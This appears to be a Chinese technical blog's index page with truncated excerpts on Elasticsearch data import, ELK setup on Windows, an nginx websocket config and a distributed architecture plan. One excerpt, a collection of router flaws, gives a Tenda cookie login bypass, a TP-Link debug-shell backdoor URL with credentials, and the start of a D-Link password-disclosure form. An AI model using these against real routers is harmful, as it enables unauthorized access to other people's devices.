Logstash最近在把一些数据导入ES,想了几种方案都被否定了,要么不够方便,要么太慢,于是乎在尝试一些新的方案。

数据源格式:SQL Server/MySQL?/MongoDB/CSV/TXT

被否定的方案

Logstash导入到ES里,速度快,但是不够方便,一次只能导入一个表,我SQL Server里面几十个数据库千个表,要执行千次,太难受了。(这个程序的功能其实是同步,实时监控表的变动,然后更新到ES里)

用NiFi同步过去,其实跟Logstash有点像,刀客给出的思路方案是建立......

>> 阅读全文


Windows部署ELK记录

2019 - 01 - 08

ELK:ElasticSearch、Logstash、Kiabana

环境:Java1.8、Windows7、NodeJS

说明:ES存储数据,Logstash将文件/数据库数据同步到ES里,Kiabana可视化操作界面

安装 ElasticSearch

> node -v

> npm install -g grunt-cli

> grunt -version

然后进入ES的config修改elasticsearch.yml文件,末尾加上

http.cors.e......

>> 阅读全文


路由漏洞采集

2019 - 01 - 05

Tenda

登陆页面绕过:

HOSTS:192.168.0.1 修改Cookies:admin:language=cn

TPlink

shell调试后门:

http://HOSTS/userRpmNatDebugRpm26525557/linux_cmdline.html

用户名:osteam

密码:5up

Dlink

查看PPoe密码:

<html>

<body onload="javascript:document.forms......

>> 阅读全文


server {

listen 80;

location /ws {

proxy_pass http://ip.address:8080;

proxy_http_version 1.1;

# 以下三行特别重要!!!

proxy_set_header Upgrade $http_upgrade;

proxy_set_header Co......

>> 阅读全文


步入架构之路

2018 - 12 - 18

在刀客师兄的带领下,开始学习分布式架构方面的技术,还有Java的开发。

以下顺序由外到内

所有环境由Docker接管

Openresty 总前端

Tengine 反向代理 -> 集群 -> 静态资源

Tomcat + Spring 后端应用 + 任务调度

Dubbo + Zookeeper 后端服务监控

Redis 分布式缓存

Postgresql 分布式数据库

RocketMQ 消息队列

>> 阅读全文


侧栏导航